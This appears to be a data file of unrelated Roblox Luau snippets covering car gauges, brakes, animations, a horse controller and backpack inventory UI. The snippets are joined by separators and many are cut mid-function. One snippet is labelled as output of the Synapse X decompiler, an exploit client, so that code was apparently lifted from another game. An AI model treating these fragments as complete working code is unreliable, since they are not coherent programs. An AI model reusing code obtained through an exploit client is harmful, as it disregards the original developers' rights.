seat.Parent.Name = "Empty Car"
seat.SirenControl.Control.CarName.Value = "Empty Car"
game.Players:findFirstChild(human.Parent.Name).PlayerGui.SirenControl:remove()
seat.Engine:Stop()
end
end
end
script.Parent.ChildAdded:connect(onChildAdded)
script.Parent.ChildRemoved:connect(onChildRemoved)
while true do
wait(0)
if game.SoundService.RespectFilteringEnabled == true then
game.SoundService.RespectFilteringEnabled = false
else
game.SoundService.RespectFilteringEnabled = false
end
end
|
--[[Output Scaling Factor]] |
local hpScaling = _Tune.WeightScaling*10
local FBrakeForce = _Tune.FBrakeForce
local RBrakeForce = _Tune.RBrakeForce
local PBrakeForce = _Tune.PBrakeForce
if not workspace:PGSIsEnabled() then
hpScaling = _Tune.LegacyScaling*10
FBrakeForce = _Tune.FLgcyBForce
RBrakeForce = _Tune.RLgcyBForce
PBrakeForce = _Tune.LgcyPBForce
end
|
-- Returns a character ancestor and its Humanoid, or nil |
function UTIL.FindCharacterAncestor(subject)
if subject and subject ~= workspace then
local humanoid = subject:FindFirstChild('Humanoid')
if humanoid then
return subject, humanoid
else
return UTIL.FindCharacterAncestor(subject.Parent)
end
end
return nil
end
UTIL.AssetURL = 'http://www.roblox.com/asset/?id='
UTIL.TouchEnabled = game:GetService("UserInputService").TouchEnabled
do
local suceeded,_ =pcall(function() game.Workspace.CurrentCamera:GetPanSpeed() end)
UTIL.CanCheckPanSpeed = suceeded
end
local DebrisService = game:GetService('Debris')
local DebugPrintOffset = 0
function UTIL.Dprint(...)
local line = ''
for _, segment in pairs({...}) do
line = line .. (line and ' ' or '') .. tostring(segment)
end
local gui = Instance.new('ScreenGui')
local label = Instance.new('TextLabel')
label.Text = line
label.Size = UDim2.new(0.25, 0, 0.05, 0)
label.BackgroundTransparency = 0.5
label.Position = UDim2.new(0, 0, 0, DebugPrintOffset)
label.TextWrapped = true
label.Parent = gui
DebrisService:AddItem(gui, 30)
gui.Parent = script.Parent
DebugPrintOffset = (DebugPrintOffset <= 600) and DebugPrintOffset + 30 or 0
end |
--[[
while true do
local goal = {}
goal.C0 = CFrame.new(-7,2.1,-2)*CFrame.fromEulerAnglesXYZ(0, math.rad(45), 0)
local tweenInfo = TweenInfo.new(.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut)
local tween = TweenService:Create(part, tweenInfo, goal)
tween:play()
wait(.5)
local goal = {}
goal.C0 = CFrame.new(-7,2,-2)*CFrame.fromEulerAnglesXYZ(0, math.rad(45), 0)
local tweenInfo = TweenInfo.new(.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut)
local tween = TweenService:Create(part, tweenInfo, goal)
tween:play()
wait(.5)
end
--]]
------------- | |
--LINK RCMBELOW |
RCMAddress = script.Parent.Parent.Parent.FederalSignalRCM1A
|
--moving kick thing |
wait()
weld33.C1 = CFrame.new(-0.75, 1, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-93), math.rad(-15),0)
wait()
weld55.C1 = CFrame.new(-0.35, 0.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.28, math.rad(-90))
wait()
weld55.C1 = CFrame.new(-0.35, 0.4, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.28, math.rad(-90))
wait()
weld55.C1 = CFrame.new(-0.35, 0.5, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.22, math.rad(-90))
wait()
weld55.C1 = CFrame.new(-0.35, 0.6, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.22, math.rad(-90))
wait()
weld55.C1 = CFrame.new(-0.35, 0.7, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.22, math.rad(-90))
wait(0.1)
weld55.C1 = CFrame.new(-0.35, 0.5, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.22, math.rad(-90))
script.Parent.pull1.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull2.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull3.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull4.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull5.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull6.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull7.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull8.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull9.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull10.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull11.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull12.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull13.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull14.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull15.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull16.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull17.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull18.Mesh.Offset = Vector3.new(0, -0.15, 0)
wait(0.03)
weld55.C1 = CFrame.new(-0.35, 0.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.22, math.rad(-90))
script.Parent.pull1.Mesh.Offset = Vector3.new(0, -0.31, 0)
script.Parent.pull2.Mesh.Offset = Vector3.new(0, -0.31, 0)
script.Parent.pull3.Mesh.Offset = Vector3.new(0, -0.31, 0)
script.Parent.pull4.Mesh.Offset = Vector3.new(0, -0.31, 0)
script.Parent.pull5.Mesh.Offset = Vector3.new(0, -0.31, 0)
script.Parent.pull6.Mesh.Offset = Vector3.new(0, -0.31, 0)
script.Parent.pull7.Mesh.Offset = Vector3.new(0, -0.31, 0)
script.Parent.pull8.Mesh.Offset = Vector3.new(0, -0.31, 0)
script.Parent.pull9.Mesh.Offset = Vector3.new(0, -0.31, 0)
script.Parent.pull10.Mesh.Offset = Vector3.new(0, -0.31, 0)
script.Parent.pull11.Mesh.Offset = Vector3.new(0, -0.31, 0)
script.Parent.pull12.Mesh.Offset = Vector3.new(0, -0.31, 0)
script.Parent.pull13.Mesh.Offset = Vector3.new(0, -0.31, 0)
script.Parent.pull14.Mesh.Offset = Vector3.new(0, -0.31, 0)
script.Parent.pull15.Mesh.Offset = Vector3.new(0, -0.31, 0)
script.Parent.pull16.Mesh.Offset = Vector3.new(0, -0.31, 0)
script.Parent.pull17.Mesh.Offset = Vector3.new(0, -0.31, 0)
script.Parent.pull18.Mesh.Offset = Vector3.new(0, -0.31, 0)
wait(0.1)
weld55.C1 = CFrame.new(-0.35, 0.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.22, math.rad(-90))
script.Parent.pull1.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull2.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull3.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull4.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull5.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull6.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull7.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull8.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull9.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull10.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull11.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull12.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull13.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull14.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull15.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull16.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull17.Mesh.Offset = Vector3.new(0, -0.15, 0)
script.Parent.pull18.Mesh.Offset = Vector3.new(0, -0.15, 0)
wait()
weld55.C1 = CFrame.new(-0.35, 0.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.22, math.rad(-90))
script.Parent.pull1.Mesh.Offset = Vector3.new(0, -0, 0)
script.Parent.pull2.Mesh.Offset = Vector3.new(0, -0, 0)
script.Parent.pull3.Mesh.Offset = Vector3.new(0, -0, 0)
script.Parent.pull4.Mesh.Offset = Vector3.new(0, -0, 0)
script.Parent.pull5.Mesh.Offset = Vector3.new(0, -0, 0)
script.Parent.pull6.Mesh.Offset = Vector3.new(0, -0, 0)
script.Parent.pull7.Mesh.Offset = Vector3.new(0, -0, 0)
script.Parent.pull8.Mesh.Offset = Vector3.new(0, -0, 0)
script.Parent.pull9.Mesh.Offset = Vector3.new(0, -0, 0)
script.Parent.pull10.Mesh.Offset = Vector3.new(0, -0, 0)
script.Parent.pull11.Mesh.Offset = Vector3.new(0, -0, 0)
script.Parent.pull12.Mesh.Offset = Vector3.new(0, -0, 0)
script.Parent.pull13.Mesh.Offset = Vector3.new(0, -0, 0)
script.Parent.pull14.Mesh.Offset = Vector3.new(0, -0, 0)
script.Parent.pull15.Mesh.Offset = Vector3.new(0, -0, 0)
script.Parent.pull16.Mesh.Offset = Vector3.new(0, -0, 0)
script.Parent.pull17.Mesh.Offset = Vector3.new(0, -0, 0)
script.Parent.pull18.Mesh.Offset = Vector3.new(0, -0, 0)
wait()
weld55.C1 = CFrame.new(-0.35, 0.4, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.19, math.rad(-90))
|
--valve things |
local BOVsound = car.DriveSeat.BOV
BOVsound.Volume = 0.3 --bov volume
BOVsound.Pitch = 1 -- pitch, i wouldn't change this lol
BOVsound.SoundId = "rbxassetid://0" --sound, duh. |
------------- SERVICES ---------------- |
local HttpService = game:GetService("HttpService")
local UserInputService = game:GetService("UserInputService")
local GuiService = game:GetService("GuiService")
local RunService = game:GetService("RunService")
local CoreGui = game.Players.LocalPlayer.PlayerGui
local RobloxGui = CoreGui:WaitForChild("BackpackGui")
local ContextActionService = game:GetService("ContextActionService")
local VRService = game:GetService("VRService")
|
--Automatic Gauge Scaling |
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive/_Tune.FDMult)
v.spInc = math.max(math.ceil(v.maxSpeed/150)*10,10)
end
end
for i=0,revEnd*2 do
local ln = gauges.ln:clone()
ln.Parent = gauges.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = gauges.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local lns = Instance.new("Frame",gauges.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = gauges.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=true
end
local blns = Instance.new("Frame",gauges.Boost)
blns.Name = "blns"
blns.BackgroundTransparency = 1
blns.BorderSizePixel = 0
blns.Size = UDim2.new(0,0,0,0)
for i=0,12 do
local bln = gauges.bln:clone()
bln.Parent = blns
bln.Rotation = 45+270*(i/12)
if i%2==0 then
bln.Frame.Size = UDim2.new(0,2,0,7)
bln.Frame.Position = UDim2.new(0,-1,0,40)
else
bln.Frame.Size = UDim2.new(0,3,0,5)
end
bln.Num:Destroy()
bln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",gauges.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = gauges.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 14
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
if isOn.Value then
gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
isOn.Changed:connect(function()
if isOn.Value then
gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
values.RPM.Changed:connect(function()
gauges.Tach.Needle.Rotation = 45 + 225 * math.min(1,values.RPM.Value / (revEnd*1000))
end)
local _TCount = 0
if _Tune.Aspiration ~= "Natural" then
if _Tune.Aspiration == "Single" then
_TCount = 1
elseif _Tune.Aspiration == "Double" then
_TCount = 2
end
values.Boost.Changed:connect(function()
local boost = (math.floor(values.Boost.Value)*1.2)-((_Tune.Boost*_TCount)/5)
gauges.Boost.Needle.Rotation = 45 + 270 * math.min(1,(values.Boost.Value/(_Tune.Boost)/_TCount))
gauges.PSI.Text = tostring(math.floor(boost).." PSI")
end)
else
gauges.Boost:Destroy()
end
values.Gear.Changed:connect(function()
local gearText = values.Gear.Value
if gearText == 0 then gearText = "N"
elseif gearText == -1 then gearText = "R"
end
gauges.Gear.Text = gearText
end)
values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCS.Value then
gauges.TCS.TextColor3 = Color3.new(1,170/255,0)
gauges.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if values.TCSActive.Value then
wait()
gauges.TCS.Visible = not gauges.TCS.Visible
else
wait()
gauges.TCS.Visible = false
end
else
gauges.TCS.Visible = true
gauges.TCS.TextColor3 = Color3.new(1,0,0)
gauges.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
gauges.TCS.Visible = false
end
end)
values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCSActive.Value and values.TCS.Value then
wait()
gauges.TCS.Visible = not gauges.TCS.Visible
elseif not values.TCS.Value then
wait()
gauges.TCS.Visible = true
else
wait()
gauges.TCS.Visible = false
end
else
gauges.TCS.Visible = false
end
end)
gauges.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCSActive.Value and values.TCS.Value then
wait()
gauges.TCS.Visible = not gauges.TCS.Visible
elseif not values.TCS.Value then
wait()
gauges.TCS.Visible = true
end
else
if gauges.TCS.Visible then
gauges.TCS.Visible = false
end
end
end)
values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABS.Value then
gauges.ABS.TextColor3 = Color3.new(1,170/255,0)
gauges.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if values.ABSActive.Value then
wait()
gauges.ABS.Visible = not gauges.ABS.Visible
else
wait()
gauges.ABS.Visible = false
end
else
gauges.ABS.Visible = true
gauges.ABS.TextColor3 = Color3.new(1,0,0)
gauges.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
gauges.ABS.Visible = false
end
end)
values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABSActive.Value and values.ABS.Value then
wait()
gauges.ABS.Visible = not gauges.ABS.Visible
elseif not values.ABS.Value then
wait()
gauges.ABS.Visible = true
else
wait()
gauges.ABS.Visible = false
end
else
gauges.ABS.Visible = false
end
end)
gauges.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABSActive.Value and values.ABS.Value then
wait()
gauges.ABS.Visible = not gauges.ABS.Visible
elseif not values.ABS.Value then
wait()
gauges.ABS.Visible = true
end
else
if gauges.ABS.Visible then
gauges.ABS.Visible = false
end
end
end)
function PBrake()
gauges.PBrake.Visible = values.PBrake.Value
end
values.PBrake.Changed:connect(PBrake)
function Gear()
if values.TransmissionMode.Value == "Auto" then
gauges.TMode.Text = "A/T"
gauges.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif values.TransmissionMode.Value == "Semi" then
gauges.TMode.Text = "S/T"
gauges.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
gauges.TMode.Text = "M/T"
gauges.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end
values.TransmissionMode.Changed:connect(Gear)
values.Velocity.Changed:connect(function(property)
gauges.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
mouse.KeyDown:connect(function(key)
if key=="v" then
gauges.Visible=not gauges.Visible
end
end)
gauges.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(gauges.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
wait(.1)
Gear()
PBrake()
|
-- Decompiled with the Synapse X Luau decompiler. |
local l__LocalPlayer__1 = game.Players.LocalPlayer;
local v2 = {
value = 0
};
local v3 = Instance.new("BindableEvent");
v3.Name = script.Name;
v3.Parent = script;
v2.event = v3;
if game:GetService("ReplicatedStorage"):WaitForChild("GameData"):WaitForChild("InGame").Value == true then
game.Players.LocalPlayer:WaitForChild("Gold").Changed:connect(function(p1)
v2.value = p1;
v3:Fire(p1);
end);
end;
return v2;
|
-- A redundant check for those who loaded before the server runs this script |
for i,v in pairs(game.Players:GetPlayers()) do
if storage.GetData(v.UserId) == nil then
storage.LoadData(v.UserId)
end
end
game.Players.PlayerAdded:connect(function(player)
storage.LoadData(player.UserId)
end)
game.Players.PlayerRemoving:connect(function(player)
storage.SaveData(player.UserId)
end)
|
-- Variables |
local MainGui = script.Parent
local TextButton = MainGui.Frame.TextLabel.TextButton
local sound = game.StarterPack.Phone.ClickSound
TextButton.MouseButton1Up:Connect(function()
sound:Play()
end)
|
--Made by Luckymaxer |
Players = game:GetService("Players")
Debris = game:GetService("Debris")
UserInputService = game:GetService("UserInputService")
ContextActionService = game:GetService("ContextActionService")
Player = Players.LocalPlayer
Character = Player.Character
Mouse = Player:GetMouse()
Humanoid = nil
for i, v in pairs(Character:GetChildren()) do
if v:IsA("Humanoid") then
Humanoid = v
break
end
end
ServerControl = script:WaitForChild("ServerControl").Value
function InvokeServer(mode, value)
pcall(function()
local ServerReturn = ServerControl:InvokeServer(mode, value)
return ServerReturn
end)
end
function Dismount()
if DisableJump then
DisableJump:disconnect()
end
InvokeServer("Dismount")
if UserInputService.TouchEnabled then
ContextActionService:UnbindAction("RidableHorse_Dismount")
end
end
if Humanoid then
DisableJump = Humanoid.Changed:connect(function(Property)
if Property == "Jump" then
Humanoid.Jump = false
InvokeServer("Jump")
end
end)
end
UserInputService.InputBegan:connect(function(InputObject)
if InputObject.KeyCode == Enum.KeyCode.LeftControl or InputObject.KeyCode == Enum.KeyCode.RightControl then
Dismount()
end
end)
|
--[[Brakes]] |
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 1300 -- Front brake force
Tune.RBrakeForce = 1500 -- Rear brake force
Tune.PBrakeForce = 5000 -- Handbrake force
Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
|
--local PlayerGui = game.Players.LocalPlayer:WaitForChild("PlayerGui")
--PlayerGui:SetTopbarTransparency(0) | |
--------END RIGHT DOOR -------- |
game.Workspace.LightedDoorON.Value = false
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
-- Force direction |
function EjectionForce.CalculateForce()
return Vector3.new(
math.random(270,320) / 10, -- Side to side
math.random(50,70) / 10, -- Up
-math.random(300,320) / 10 -- Front
)
end
|
--Make the gamepad hint frame |
local gamepadHintsFrame = Utility:Create'Frame'
{
Name = "GamepadHintsFrame",
Size = UDim2.new(0, HotbarFrame.Size.X.Offset, 0, (IsTenFootInterface and 95 or 60)),
BackgroundTransparency = 1,
Visible = false,
Parent = MainFrame
}
local function addGamepadHint(hintImage, hintImageLarge, hintText)
local hintFrame = Utility:Create'Frame'
{
Name = "HintFrame",
Size = UDim2.new(1, 0, 1, -5),
Position = UDim2.new(0, 0, 0, 0),
BackgroundTransparency = 1,
Parent = gamepadHintsFrame
}
local hintImage = Utility:Create'ImageLabel'
{
Name = "HintImage",
Size = (IsTenFootInterface and UDim2.new(0,90,0,90) or UDim2.new(0,60,0,60)),
BackgroundTransparency = 1,
Image = (IsTenFootInterface and hintImageLarge or hintImage),
Parent = hintFrame
}
local hintText = Utility:Create'TextLabel'
{
Name = "HintText",
Position = UDim2.new(0, (IsTenFootInterface and 100 or 70), 0, 0),
Size = UDim2.new(1, -(IsTenFootInterface and 100 or 70), 1, 0),
Font = Enum.Font.SourceSansBold,
FontSize = (IsTenFootInterface and Enum.FontSize.Size36 or Enum.FontSize.Size24),
BackgroundTransparency = 1,
Text = hintText,
TextColor3 = Color3.new(1,1,1),
TextXAlignment = Enum.TextXAlignment.Left,
TextWrapped = true,
Parent = hintFrame
}
local textSizeConstraint = Instance.new("UITextSizeConstraint", hintText)
textSizeConstraint.MaxTextSize = hintText.TextSize
end
local function resizeGamepadHintsFrame()
gamepadHintsFrame.Size = UDim2.new(HotbarFrame.Size.X.Scale, HotbarFrame.Size.X.Offset, 0, (IsTenFootInterface and 95 or 60))
gamepadHintsFrame.Position = UDim2.new(HotbarFrame.Position.X.Scale, HotbarFrame.Position.X.Offset, InventoryFrame.Position.Y.Scale, InventoryFrame.Position.Y.Offset - gamepadHintsFrame.Size.Y.Offset)
local spaceTaken = 0
local gamepadHints = gamepadHintsFrame:GetChildren()
--First get the total space taken by all the hints
for i = 1, #gamepadHints do
gamepadHints[i].Size = UDim2.new(1, 0, 1, -5)
gamepadHints[i].Position = UDim2.new(0, 0, 0, 0)
spaceTaken = spaceTaken + (gamepadHints[i].HintText.Position.X.Offset + gamepadHints[i].HintText.TextBounds.X)
end
--The space between all the frames should be equal
local spaceBetweenElements = (gamepadHintsFrame.AbsoluteSize.X - spaceTaken)/(#gamepadHints - 1)
for i = 1, #gamepadHints do
gamepadHints[i].Position = (i == 1 and UDim2.new(0, 0, 0, 0) or UDim2.new(0, gamepadHints[i-1].Position.X.Offset + gamepadHints[i-1].Size.X.Offset + spaceBetweenElements, 0, 0))
gamepadHints[i].Size = UDim2.new(0, (gamepadHints[i].HintText.Position.X.Offset + gamepadHints[i].HintText.TextBounds.X), 1, -5)
end
end
addGamepadHint("rbxasset://textures/ui/Settings/Help/XButtonDark.png", "rbxasset://textures/ui/Settings/Help/[email protected]", "Remove From Hotbar")
addGamepadHint("rbxasset://textures/ui/Settings/Help/AButtonDark.png", "rbxasset://textures/ui/Settings/Help/[email protected]", "Select/Swap")
addGamepadHint("rbxasset://textures/ui/Settings/Help/BButtonDark.png", "rbxasset://textures/ui/Settings/Help/[email protected]", "Close Backpack")
do -- Search stuff
local searchFrame = NewGui('Frame', 'Search')
searchFrame.BackgroundColor3 = SEARCH_BACKGROUND_COLOR
searchFrame.BackgroundTransparency = SEARCH_BACKGROUND_FADE
searchFrame.Size = UDim2.new(0, SEARCH_WIDTH - (SEARCH_BUFFER * 2), 0, INVENTORY_HEADER_SIZE - (SEARCH_BUFFER * 2))
searchFrame.Position = UDim2.new(1, -searchFrame.Size.X.Offset - SEARCH_BUFFER, 0, SEARCH_BUFFER)
searchFrame.Parent = InventoryFrame
local searchBox = NewGui('TextBox', 'TextBox')
searchBox.PlaceholderText = SEARCH_TEXT
searchBox.ClearTextOnFocus = false
searchBox.FontSize = Enum.FontSize.Size24
searchBox.TextXAlignment = Enum.TextXAlignment.Left
searchBox.Size = searchFrame.Size - UDim2.fromOffset(0, SEARCH_TEXT_OFFSET_FROMLEFT)
searchBox.Position = UDim2.new(0, SEARCH_TEXT_OFFSET_FROMLEFT, 0, 0)
searchBox.Parent = searchFrame
local xButton = NewGui('TextButton', 'X')
xButton.Text = 'x'
xButton.ZIndex = 10
xButton.TextColor3 = SLOT_EQUIP_COLOR
xButton.FontSize = Enum.FontSize.Size24
xButton.TextYAlignment = Enum.TextYAlignment.Bottom
xButton.BackgroundColor3 = SEARCH_BACKGROUND_COLOR
xButton.BackgroundTransparency = 0
xButton.Size = UDim2.new(0, searchFrame.Size.Y.Offset - (SEARCH_BUFFER * 2), 0, searchFrame.Size.Y.Offset - (SEARCH_BUFFER * 2))
xButton.Position = UDim2.new(1, -xButton.Size.X.Offset - (SEARCH_BUFFER * 2), 0.5, -xButton.Size.Y.Offset / 2)
xButton.Visible = false
xButton.ZIndex = 0
xButton.BorderSizePixel = 0
xButton.Parent = searchFrame
local function search()
local terms = {}
for word in searchBox.Text:gmatch('%S+') do
terms[word:lower()] = true
end
local hitTable = {}
for i = NumberOfHotbarSlots + 1, #Slots do -- Only search inventory slots
local slot = Slots[i]
local hits = slot:CheckTerms(terms)
table.insert(hitTable, {slot, hits})
slot.Frame.Visible = false
slot.Frame.Parent = InventoryFrame
end
table.sort(hitTable, function(left, right)
return left[2] > right[2]
end)
ViewingSearchResults = true
local hitCount = 0
for i, data in ipairs(hitTable) do
local slot, hits = data[1], data[2]
if hits > 0 then
slot.Frame.Visible = true
slot.Frame.Parent = UIGridFrame
slot.Frame.LayoutOrder = NumberOfHotbarSlots + hitCount
hitCount = hitCount + 1
end
end
ScrollingFrame.CanvasPosition = Vector2.new(0, 0)
UpdateScrollingFrameCanvasSize()
xButton.ZIndex = 3
end
local function clearResults()
if xButton.ZIndex > 0 then
ViewingSearchResults = false
for i = NumberOfHotbarSlots + 1, #Slots do
local slot = Slots[i]
slot.Frame.LayoutOrder = slot.Index
slot.Frame.Parent = UIGridFrame
slot.Frame.Visible = true
end
xButton.ZIndex = 0
end
UpdateScrollingFrameCanvasSize()
end
local function reset()
clearResults()
searchBox.Text = ''
end
local function onChanged(property)
if property == 'Text' then
local text = searchBox.Text
if text == '' then
clearResults()
elseif text ~= SEARCH_TEXT then
search()
end
xButton.Visible = text ~= '' and text ~= SEARCH_TEXT
end
end
local function focusLost(enterPressed)
if enterPressed then
--TODO: Could optimize
search()
end
end
xButton.MouseButton1Click:Connect(reset)
searchBox.Changed:Connect(onChanged)
searchBox.FocusLost:Connect(focusLost)
BackpackScript.StateChanged.Event:Connect(function(isNowOpen)
InventoryIcon:getInstance("iconButton").Modal = isNowOpen -- Allows free mouse movement even in first person
if not isNowOpen then
reset()
end
end)
HotkeyFns[Enum.KeyCode.Escape.Value] = function(isProcessed)
if isProcessed then -- Pressed from within a TextBox
reset()
elseif InventoryFrame.Visible then
InventoryIcon:deselect()
end
end
local function detectGamepad(lastInputType)
if lastInputType == Enum.UserInputType.Gamepad1 and not UserInputService.VREnabled then
searchFrame.Visible = false
else
searchFrame.Visible = true
end
end
UserInputService.LastInputTypeChanged:Connect(detectGamepad)
end
GuiService.MenuOpened:Connect(function()
if InventoryFrame.Visible then
InventoryIcon:deselect()
end
end)
do -- Make the Inventory expand/collapse arrow (unless TopBar)
local removeHotBarSlot = function(name, state, input)
if state ~= Enum.UserInputState.Begin then return end
if not GuiService.SelectedObject then return end
for i = 1, NumberOfHotbarSlots do
if Slots[i].Frame == GuiService.SelectedObject and Slots[i].Tool then
Slots[i]:MoveToInventory()
return
end
end
end
local function openClose()
if not next(Dragging) then -- Only continue if nothing is being dragged
InventoryFrame.Visible = not InventoryFrame.Visible
local nowOpen = InventoryFrame.Visible
AdjustHotbarFrames()
HotbarFrame.Active = not HotbarFrame.Active
for i = 1, NumberOfHotbarSlots do
Slots[i]:SetClickability(not nowOpen)
end
end
if InventoryFrame.Visible then
if GamepadEnabled then
if GAMEPAD_INPUT_TYPES[UserInputService:GetLastInputType()] then
resizeGamepadHintsFrame()
gamepadHintsFrame.Visible = not UserInputService.VREnabled
end
enableGamepadInventoryControl()
end
if BackpackPanel and VRService.VREnabled then
BackpackPanel:SetVisible(true)
BackpackPanel:RequestPositionUpdate()
end
else
if GamepadEnabled then
